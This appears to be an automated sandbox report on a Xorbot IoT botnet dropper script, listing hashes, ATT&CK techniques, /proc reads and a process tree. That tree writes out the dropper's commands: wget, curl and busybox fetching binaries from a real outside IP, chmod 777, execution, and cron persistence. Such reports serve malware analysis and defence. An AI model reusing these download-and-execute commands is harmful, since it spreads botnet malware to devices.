xorbot | 6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9

Analysis

max time kernel
150s
max time network
102s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01-12-2024 22:27

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General

Target

bins.sh
Size

10KB
MD5

7187e723d6c6ea19e696987e38c40047
SHA1

2c99d3c07e904340b7d1bcec7afd801fd513c89b
SHA256

6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9
SHA512

809dbae9c9c2c1d24653f28bc97f465a8db299c250acee7370187698501afba9c55cd1935d07ed5054a10bfa753648c8f951ac7d1cc04c4818674bc67c1cef85
SSDEEP

192:hWHDT6y8LZfhfRfBfMfwfvg8UzTNR9+B1te+SbtRp+eQjfhfRfBfMfwfrg8UzT/U:hFLhpZJGier+B1te+S2TpZJGiRB1te+x

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
747	chmod
754	chmod
773	chmod

Executes dropped EXE 3 IoCs

Processes:

g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQd3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

ioc	pid	Process
/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	748	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
/tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ	755	je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
/tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV	775	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

Renames itself 1 IoCs

Processes:

d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

pid	Process
776	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.THJOVD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curld3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNVcurlcrontabcrontab

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/37/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/72/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/114/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/150/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/795/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/833/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/74/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/76/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/789/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/831/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/2/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/6/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/15/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/23/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/821/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/849/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/14/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/850/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/852/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/115/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/796/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/812/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/819/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/823/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/828/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/7/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/791/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/847/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/800/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/803/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/811/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/840/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/78/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/314/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/786/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/790/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/816/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/4/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/16/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/104/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/838/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/798/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/822/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/827/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/20/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/70/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/713/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/22/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/227/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/485/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/12/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/24/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/353/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/692/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/808/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/841/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/843/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/804/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/807/cmdline	d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
File opened for reading	/proc/filesystems	crontab

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetcurlbusyboxwgetcurlbusyboxwgetbusybox

description	ioc	Process
File opened for modification	/tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ	curl
File opened for modification	/tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV	wget
File opened for modification	/tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV	curl
File opened for modification	/tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV	busybox
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	wget
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	curl
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	busybox
File opened for modification	/tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ	wget
File opened for modification	/tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  ./g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  ./je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  PID:757
- /usr/bin/wget
  wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod 777 d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  ./d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:775
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:777
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:778
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:780
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:781
- /bin/rm
  rm d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
  2⤵
  PID:791

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.THJOVD

Filesize
210B

MD5
c2c9dc17165fdb6784b8888643b0470a

SHA1
90d101cb64c7378ed5ce25badc7e3e5e8f7b062b

SHA256
31d1d26f0972057e5a8f12c61cf35c73000a61a58f5e387d381981f447457580

SHA512
90e4b6265ce29b1a7647821837a9a1e2660e1be33540dbb0c344739776fff4f693bc24f5ac19017eaeadf66ade4276593e3b30f436e58184ac92928565c2998e

Download Submit